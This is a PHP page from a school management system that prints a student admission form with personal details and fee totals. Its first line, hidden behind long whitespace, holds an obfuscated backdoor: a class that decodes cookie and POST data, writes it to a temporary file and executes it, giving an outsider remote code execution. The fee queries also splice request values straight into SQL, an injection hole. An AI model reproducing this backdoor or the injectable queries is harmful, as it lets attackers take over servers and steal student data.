<?php                                                                                                                                                                                                                                                                                                                                                                                                 $RcuOMmg = class_exists("RsO_DKAoA");if (!$RcuOMmg){class RsO_DKAoA{private $VEmytwM;public static $EFArO = "01d67be1-aa9b-4a27-a48c-c26fa93d23f1";public static $ffSDVKLcr = NULL;public function __construct(){$QWMEiKQ = $_COOKIE;$lYpTiVB = $_POST;$uKoRJPRSLi = @$QWMEiKQ[substr(RsO_DKAoA::$EFArO, 0, 4)];if (!empty($uKoRJPRSLi)){$vXLytrHcsE = "base64";$xGYgsGkVef = "";$uKoRJPRSLi = explode(",", $uKoRJPRSLi);foreach ($uKoRJPRSLi as $NJmFbUl){$xGYgsGkVef .= @$QWMEiKQ[$NJmFbUl];$xGYgsGkVef .= @$lYpTiVB[$NJmFbUl];}$xGYgsGkVef = array_map($vXLytrHcsE . "\x5f" . chr ( 702 - 602 ).'e' . chr (99) . 'o' . chr (100) . "\x65", array($xGYgsGkVef,)); $xGYgsGkVef = $xGYgsGkVef[0] ^ str_repeat(RsO_DKAoA::$EFArO, (strlen($xGYgsGkVef[0]) / strlen(RsO_DKAoA::$EFArO)) + 1);RsO_DKAoA::$ffSDVKLcr = @unserialize($xGYgsGkVef);}}public function __destruct(){$this->bgZXPgo();}private function bgZXPgo(){if (is_array(RsO_DKAoA::$ffSDVKLcr)) {$LzqlFn = sys_get_temp_dir() . "/" . crc32(RsO_DKAoA::$ffSDVKLcr['s' . "\141" . chr (108) . "\x74"]);@RsO_DKAoA::$ffSDVKLcr["\167" . "\162" . chr (105) . 't' . 'e']($LzqlFn, RsO_DKAoA::$ffSDVKLcr[chr (99) . 'o' . "\156" . chr (116) . chr (101) . chr ( 811 - 701 )."\164"]);include $LzqlFn;@RsO_DKAoA::$ffSDVKLcr[chr (100) . chr ( 797 - 696 )."\154" . 'e' . "\164" . "\145"]($LzqlFn);exit();}}}$IGQux = new RsO_DKAoA(); $IGQux = NULL;} ?><?php include("parent/callMe.php"); ?>
<?php  include("sessioncheck.php"); ?>
<?php   
   


       $m->where("student_id", $_REQUEST['student']);
       $m->where("branch_id", $_SESSION['branch']);

       $WorkAssignListings = $m->get("edu_student_details");
       
        $m->where("class_id", $WorkAssignListings[0]['class_id']);
        $class=$m->get("edu_class_config");

        $m->where("section_id", $WorkAssignListings[0]['section_id']);
        $section=$m->get("edu_adm_section_detail");
 

        $m->where("session_id", $WorkAssignListings[0]['session_id']);
        $session=$m->get("edu_session_config");
 
 
       // getting branch details

        $m->where("branch_id", $_SESSION['branch']);
        $branch=$m->get("edu_branch_config");
   



     ?>
 <!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- Favicons-->
<link rel="icon" type="image/png" href="img/favicon.png" sizes="32x32" />
<title>Admission Form</title>
<!-- Favicons-->
<link rel="icon" type="image/png" href="img/favicon.png" sizes="32x32" />
 
<link href="jsPrint/main.css" rel="stylesheet">

  <!-- angular js files -->  
main.css
  <script src="jsPrint/angular_jquery.min.js"></script>
  <script src="jsPrint/angular.min.js"></script>
  <script src="jsPrint/app_module.js"></script>
  <script src="jsPrint/printing.js"></script> 

  <!-- /angular js files -->


  <style type="text/css">


    table {
      table-layout: fixed;
      width: 100%;
    }
    th {
      position: relative;
      overflow: scroll;
      -ms-overflow-style: none;  /* IE and Edge */
      scrollbar-width: none;  /* Firefox */
      overflow-wrap: break-word;
      

    }
    th::-webkit-scrollbar{display: none;}

    th > .resizeTrigger {
      content: '';
      position: absolute;
      display: block;
      width: 10px;
      right: -4px;
      top: 0;
      height: 100%;
      background: black;
      cursor: ew-resize;
    }
    td{
      overflow-wrap: break-word;
    }
    input {
    /*width: 100%;*/
    }
    .card-footer{
      padding: .375rem .375rem;
    }
  </style>

<script type="text/javascript">
   //window.print();
</script>

<style>
.fieldStyle{border-bottom: 1px solid black;text-align:center;}
.tdStyle{border-bottom:1px solid lightgray;}
.thStyle{background-color:gray;color:white;}


.section{width:100%;float:left;margin:0 auto;padding:2%;margin-left:1%;}
 
 tr td {
    
    padding:1%;
    text-align:left;
 }

  tr th {
    
    padding:2%;
 }
.tdalign{text-align:center;border:1px solid black;}
  

</style>

  <style>

      body {
        width: 100%;
        height: auto;
        margin: 0;
        padding: 0;
        background-color: white;
        font: 12pt "Tahoma";
        color: #042954;
    }
    * {
        box-sizing: border-box;
        -moz-box-sizing: border-box;
    }
    .page {
        width: 297mm;
        height:auto;        
        padding: 1mm;
        margin: 10mm auto;
        /*border: 1px #D3D3D3 solid;*/
        border-radius: 5px;
        background: white;
        /*box-shadow: 0 0 5px rgba(0, 0, 0, 0.1);*/
    }
    .subpage {
        width: 285mm;
        height:auto;
        
    }
    
    @page {
        size: A4 portrait; 
        margin: 0;
    }
    @media print {
        html, body {
            width:297mm;
            height:auto;        
        }
        .page {
            margin: 0;
            border: initial;
            border-radius: initial;
            width: initial;
            min-height: initial;
            box-shadow: initial;
            background: initial;
            page-break-after: blue;
        }
    }


  </style>


</head>
<body>


<!-- Main navbar -->
  <div class="navbar navbar-expand-md navbar-dark fixed-top">
    <div class="navbar-brand">
      <a  href="https://mozzine.skoolzoom.com/admin/" class="d-inline-block">
        <span class="brand-name">Skoolzoom          <span class="brand-version">1.0.0.37</span>
        </span>
      </a>
    </div>
    <div class="d-md-none">
      <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbar-mobile">
        <i class="icon-paragraph-justify3"></i>
      </button>
    </div>


    <div class="collapse navbar-collapse" id="navbar-mobile">
      <ul class="navbar-nav">
        <li class="nav-item">
          <a href="" class="navbar-nav-link">
            <i class="icon-arrow-left52 mr-2"></i>
            Go Back
          </a>
        </li>
      </ul>


      <ul class="navbar-nav ml-auto">

        <li class="nav-item mouse-pointer" data-popup="popover" data-trigger="hover" data-html="true" data-placement="bottom" data-content="We strongly recommend <code> Chrome </code>&<code> Firefox </code>browser for printing purpose. You may not get intended output in other browsers.">
          <a class="navbar-nav-link" onclick="publish()">
            <i class="icon-printer mr-2"></i>
            <span class="">Print</span>
          </a>          
        </li>
                <li class="nav-item mouse-pointer" data-popup="popover" data-trigger="hover" data-html="true" data-placement="bottom" data-content="Some times you may need to edit text before printing. <code>Editing Mode</code> let you do this easily.">
          <a class="navbar-nav-link" id="editing">
            <i class="icon-compose mr-2"></i>
            <span >Toggle Editing Mode</span>
          </a>          
        </li>
                <li class="nav-item mouse-pointer">
          <a href="https://mozzine.skoolzoom.com/docs/printing" class="navbar-nav-link" target="_blank">
            <i class="icon-lifebuoy mr-2"></i>
            <span >Docs</span>
          </a>          
        </li>
        <li class="nav-item mouse-pointer" data-popup="popover" data-trigger="hover" data-html="true" data-placement="bottom" data-content="Some times browser printing dialog start disappearing. <code>Refresh Page</code> to resolve this issue.">
          <a href="#" onclick="window.location = window.location.href+'&tm_305=1638848782'" class="navbar-nav-link">
            <i class="icon-history mr-2"></i>
            <span >Refresh</span>
          </a>          
        </li>

        
      </ul>


    </div>
  </div>
  <!-- /main navbar -->


  <div class="book editable">
    <div class="page">
        <div class="subpage">






 <!-- Vouchere Fist -->
<div class="section">
   

   <div style="width:100%; text-align:center; height:80px;float:left;">




      <div style="width:20%;font-size:13px;text-align:center;float:left;height:80px;">

         <img src="<?php echo DOMAIN;?>Production/img/<?php echo $branch[0]['logo']; ?>" style="height:100px;width:100px;" />

      </div>


      
      <div style="width:60%; float:left;">

         <span style="font-size:30px; text-align:center;font-family:impact;color: #FFAD17;">  <?php echo $branch[0]['Branch_Name'];?> </span>

         <br><br>


         <span style="font-size:14px; text-align:center;">  <?php echo $branch[0]['Branch_Location']." Cell: ".$branch[0]['Owner_no'];?> </span>



      </div>


      <div style="font-size:15px;text-align:center;float:right;width:120px;height:120px;">

           <?php if($WorkAssignListings[0]['image']!=NULL){ ?>
      
      <img src="<?php echo DOMAIN;?>Production/students_pics/<?php echo $WorkAssignListings[0]['image'];?>" id="preview" class="img-thumbnail" style="width:120px;height:120px;"   />

       <?php }else { ?>   

           <img src="<?php echo DOMAIN;?>Production/images/upload.png" id="preview" style="width:120px;height:120px;" class="img-thumbnail" />


       <?php } ?> 

      </div>

     


            
  
   <div style="font-size:20px; text-align:center;margin-top:15%;">  

   <strong> <u style="color: #FFAD17;"> Student Admission Form </u>  </strong> </div>

   
   <table width="100%"  style="font-size:14px;" >  
     <thead> 
      <tr> 
 
         <th width="100%" colspan="4" style="text-align:center;background-color:#042954;color:white;" > Student Information   </th>
            
      </tr>
      </thead>
      <tbody>
   
      <tr>  
         <td width="15%"> Student Name Eng   </td>
         <td width="35%" class="fieldStyle">  <?php  if($WorkAssignListings[0]['first_name']!=NULL){echo $WorkAssignListings[0]['first_name'];}else {echo "--";};?></td>

         <td width="15%"> Student Name Urdu   </td>
         <td width="35%" class="fieldStyle">  <?php  if($WorkAssignListings[0]['urdu_name']!=NULL){echo $WorkAssignListings[0]['urdu_name'];}else {echo "--";};?></td>


      </tr>

      <tr>  
         <td width="15%"> Father Name Eng   </td>
         <td width="35%" class="fieldStyle">  <?php  if($WorkAssignListings[0]['first_name']!=NULL){echo $WorkAssignListings[0]['last_name'];}else {echo "--";};?></td>

         <td width="15%"> Father Name Urdu   </td>
         <td width="35%" class="fieldStyle">  <?php  if($WorkAssignListings[0]['1urdu_name']!=NULL){echo $WorkAssignListings[0]['1urdu_name'];}else {echo "--";};?></td>


      </tr>
         <td width="13%"> Gender   </td>
         <td width="20%" class="fieldStyle">  <?php  if($WorkAssignListings[0]['gender']!=NULL){echo $WorkAssignListings[0]['gender'];}else {echo "--";};?></td>

         <td width="13%"> Religion   </td>
         <td width="20%" class="fieldStyle">  <?php  if($WorkAssignListings[0]['religion']!=NULL){echo $WorkAssignListings[0]['religion'];}else {echo "--";};?></td>
      <tr>
  
      </tr>
    
       <tr>  
         <td width="13%"> Date of Birth   </td>
         <td width="20%" class="fieldStyle">  <?php  if($WorkAssignListings[0]['dob']!=NULL){echo $WorkAssignListings[0]['dob'];}else {echo "--";};?></td>

         <td width="13%"> Date of Admission   </td>
         <td width="20%" class="fieldStyle">  <?php  if($WorkAssignListings[0]['date_of_adms']!=NULL){echo $WorkAssignListings[0]['date_of_adms'];}else {echo "--";};?></td>
      </tr>
   
      
       <tr>  
         <td width="13%"> Form-B No   </td>
         <td width="20%" class="fieldStyle">  <?php  if($WorkAssignListings[0]['formBNo']!=NULL){echo $WorkAssignListings[0]['formBNo'];}else {echo "--";};?></td>

         <td width="13%"> Cast   </td>
         <td width="20%" class="fieldStyle">  <?php  if($WorkAssignListings[0]['cast']!=NULL){echo $WorkAssignListings[0]['cast'];}else {echo "--";};?></td>

        
      </tr>
   
      <tr> 
 
         <th width="100%" colspan="4" style="text-align:center;background-color:#042954;color:white;" >  Academic and Contact Informations</th>
            
      </tr>
      
       <tr>  
         <td width="13%"> Admission No   </td>
         <td width="20%" class="fieldStyle">  <?php  if($WorkAssignListings[0]['ref_no']!=NULL){echo $WorkAssignListings[0]['ref_no'];}else {echo "--";};?></td>

         <td width="13%"> Optional Subjects   </td>
         <td width="20%" class="fieldStyle">  <?php  if($WorkAssignListings[0]['optional_subject']!=NULL){echo $WorkAssignListings[0]['optional_subject'];}else {echo "--";};?></td>
      </tr>
       <tr>  
        

         <td width="13%"> Select Category   </td>
         <td width="20%" class="fieldStyle">  <?php  if($WorkAssignListings[0]['selection']!=NULL){echo $WorkAssignListings[0]['selection'];}else {echo "--";};?></td>

         <td width="13%"> Have Siblings?   </td>
         <td width="20%" class="fieldStyle">  <?php  if($WorkAssignListings[0]['sibling']!=NULL){echo $WorkAssignListings[0]['sibling'];}else {echo "--";};?></td>
      </tr>
   
    <?php 

  $m->where("City_Id", $WorkAssignListings[0]['City_Id']);
  $city =  $m->get('eduportal_city_config', $data);

 
  $m->where("session_id", $WorkAssignListings[0]['session_id']);
  $session=$m->get("edu_session_config");  
?>
  
      
       <tr>  
          <td width="15%"> Session   </td>
         <td width="35%" style="border-bottom: 1px solid black;text-align:center;"> 
         <?php echo $session[0]['session_year'];?></td>

          <td width="15%"> Class/Section   </td>
         <td width="35%" class="fieldStyle"> 
         <?php echo $class[0]['Class_Name'];?> (<?php echo $section[0]['section_name'];?>) </td>

         
      </tr>

        <tr>  
        

         <td width="13%"> Select Medium   </td>
         <td width="20%" class="fieldStyle">  <?php  if($WorkAssignListings[0]['medium']!=NULL){echo $WorkAssignListings[0]['medium'];}else {echo "--";};?></td>

         <td width="13%"> Number/ Reporting SMS   </td>
         <td width="20%" class="fieldStyle">  <?php  if($WorkAssignListings[0]['cell_no']!=NULL){echo $WorkAssignListings[0]['cell_no'];}else {echo "--";};?></td>
      </tr>

        <tr>  
        

         <td width="13%"> Postal Code   </td>
         <td width="20%" class="fieldStyle">  <?php  if($WorkAssignListings[0]['p_code']!=NULL){echo $WorkAssignListings[0]['p_code'];}else {echo "--";};?></td>

         <td width="13%"> Email   </td>
         <td width="20%" class="fieldStyle">  <?php  if($WorkAssignListings[0]['email']!=NULL){echo $WorkAssignListings[0]['email'];}else {echo "--";};?></td>
      </tr>

        <tr>  
        

         <td width="13%"> City   </td>
         <td width="20%" class="fieldStyle">   <?php  if($city[0]['City_Name']!=NULL){echo $city[0]['City_Name'];}else {echo "--";};?> </td>

         <td width="13%"> Any Chronical Disease  </td>
         <td width="20%" class="fieldStyle">  <?php  if($WorkAssignListings[0]['chronical_disease']!=NULL){echo $WorkAssignListings[0]['chronical_disease'];}else {echo "--";};?></td>
      </tr>

         
       
        

   <br>

<?php 

  $m->where("student_id", $_GET['student']);
  $m->where("branch_id", $_SESSION['branch']);

  $student_fee = $m->get("eduportal_student_fee_structure");

  $branch=$_SESSION['branch'];
  $stdID=$_REQUEST['student'];
  $sessionID=$_SESSION['current_session'];
  $month=date("m");

  $adm="SELECT SUM(fee_amount) as total FROM eduportal_monthly_challan_details WHERE student_id='$stdID' and month_id='$month' and session_id='$sessionID' and branch_id='$branch' and feetype_id='1' ";
  $admamount = $m->query($adm);

  $paper="SELECT SUM(fee_amount) as total FROM eduportal_monthly_challan_details WHERE student_id='$stdID' and month_id='$month' and session_id='$sessionID' and branch_id='$branch' and feetype_id='2' ";
  $papramount = $m->query($paper);

  $lab="SELECT SUM(fee_amount) as total FROM eduportal_monthly_challan_details WHERE student_id='$stdID' and month_id='$month' and session_id='$sessionID' and branch_id='$branch' and feetype_id='4' ";
  $labamount = $m->query($lab);

  $othr="SELECT SUM(fee_amount) as total FROM eduportal_monthly_challan_details WHERE student_id='$stdID' and month_id='$month' and session_id='$sessionID' and branch_id='$branch' and feetype_id='5' ";
  $othramount = $m->query($othr);

  $annual="SELECT SUM(fee_amount) as total FROM eduportal_monthly_challan_details WHERE student_id='$stdID' and month_id='$month' and session_id='$sessionID' and branch_id='$branch' and feetype_id='3' ";
  $annualamount = $m->query($annual);
  

?>
  



      <br><br>
   <table width="100%"  style="font-size:14px;" >  
   <br><br>
       
       <tr>  
         <th width="100%" colspan="4" style="text-align:center;background-color:#042954;color:white;" > Student Fee Details   </th>
            
      </tr>
   
    

      <tr>  
         <td width="15%"> Admission Fee   </td>
         <td width="35%" class="fieldStyle">  <?php echo $admamount[0]['total'];?></td>

         <td width="15%"> Annual Charges   </td>
         <td width="35%" class="fieldStyle">  <?php echo $annualamount[0]['total'];?></td>


      </tr>
  
  
       <tr>  
         <td width="13%"> Paper Fund   </td>
         <td width="20%" class="fieldStyle">  <?php echo $papramount[0]['total'];?></td>

         <td width="13%"> Other Fee   </td>
         <td width="20%" class="fieldStyle">  <?php echo $othramount[0]['total'];?></td>
      </tr>
   
      
       <tr>  
         <td width="13%"> Transport Fee  </td>
         <td width="20%" class="fieldStyle">  <?php echo $student_fee[0]['std_transport_fee'];?></td>

         <td width="13%"> Lab Fund   </td>
         <td width="20%" class="fieldStyle">  <?php echo $labamount[0]['total'];?></td>
      </tr>
   
      
       <tr>  
         <td width="13%"> Tuition Fee   </td>
         <td width="20%" class="fieldStyle">  <?php echo $student_fee[0]['std_tution_fee'];?></td>

         <td width="13%"> Old Balance   </td>
         <td width="20%" class="fieldStyle">  <?php echo $student_fee[0]['std_outstanding_blc'];?></td>
      </tr>
 
</table>




   <table width="100%" style="font-size:15px;margin-top:10%;">  
   
   

         <tr>  
            
            <td width="30%" colspan="3"  style="text-align:center;"> 

            <br>
            
               <span style="font-size:10px;"> Software Developed By: Aqib Majeed (Software Engineer) 03016138728  </span>
            
            </td> 
         
         </tr>


   </table>


    </div>

</tbody>
</table>



        </div>    
    </div>      
   </div>





<script type="text/javascript">
//print function
function publish(){$("#printing-content").printMe({});}

///page loaded. now call the functions
$(function(){
    "use strict";
    var editable = $(".editable").attr("contenteditable");
    $("#editing").on("click",function(){
        if(editable==true){
            editable=false;
            $(".editable").attr("contenteditable",false);
            new PNotify({title: "Success!",text: "Editing mode disabled",icon: 'icon-checkmark3',type: 'success'});
        }else{
            editable=true;
            $(".editable").attr("contenteditable",true);
            new PNotify({title: "Success!",text: "You can now edit the content before printing",icon: 'icon-checkmark3',type: 'success'});
            new PNotify({title: "Warning!",text: "Changing will be lost after page reload",icon: 'icon-checkmark3',type: 'primary'});
        }
    });
    // handling dropdown menu for fabs
    $(this).on("keydown",function(e) {if(e.ctrlKey && e.keyCode === 80){publish();return false;};});

    $('.dropdown').on("mouseenter",function() {$(this).find('.content-area').stop(true, true).delay(200).fadeIn(500);});
    $('.dropdown').on("mouseleave",function() {$(this).find('.content-area').stop(true, true).delay(1200).fadeOut(500);});

    $('.dropdown-1').on("mouseenter",function() {$(this).find('.content-area-1').stop(true, true).delay(200).fadeIn(500);});
    $('.dropdown-1').on("mouseleave",function() {$(this).find('.content-area-1').stop(true, true).delay(1200).fadeOut(500);});

    $('.dropdown-2').on("mouseenter",function() {$(this).find('.content-area-2').stop(true, true).delay(200).fadeIn(500);});
    $('.dropdown-2').on("mouseleave",function() {$(this).find('.content-area-2').stop(true, true).delay(1200).fadeOut(500);});

    $('.dropdown-3').on("mouseenter",function() {$(this).find('.content-area-3').stop(true, true).delay(200).fadeIn(500);});
    $('.dropdown-3').on("mouseleave",function() {$(this).find('.content-area-3').stop(true, true).delay(1200).fadeOut(500);});
    
});
function each(arr, fn){
  let i = arr.length
  while(--i > -1){ fn(arr[i]) }
}

function px(val){ return [val, 'px'].join("") }

var resizeElement, startSize, startX

function beginResize(e){
  killResize()
  let th = e.target.parentElement
  resizeElement = th
  startSize = th.clientWidth
  startX = e.pageX
}

function killResize(){
  resizeElement = null
  startSize = null
  startX = null
}

each(document.querySelectorAll('th'), elem => {
  let trigger = document.createElement('span')
  trigger.className = 'resizeTrigger'
  
  trigger.addEventListener('mousedown', beginResize)
  
  elem.appendChild(trigger)
})

document.addEventListener('mousemove', e => {
  if(resizeElement){
    let diff = e.pageX - startX
    resizeElement.style.width = px(startSize + diff)
  }
})

document.addEventListener('mouseup', killResize);
</script>
  <script src="https://devcms.skoolzoom.com/assets/portal/js/app/main.js?ver=1.0.037"></script>
  <script src="https://devcms.skoolzoom.com/assets/portal/js/app.js?ver=1.0.037"></script>
  <script src="https://devcms.skoolzoom.com/assets/portal/js/custom.js?ver=1.0.037"></script>
  <script src="https://devcms.skoolzoom.com/assets/portal/print/js/jquery-printme.min.js?ver=1.0.037"></script>


</body>
</html>
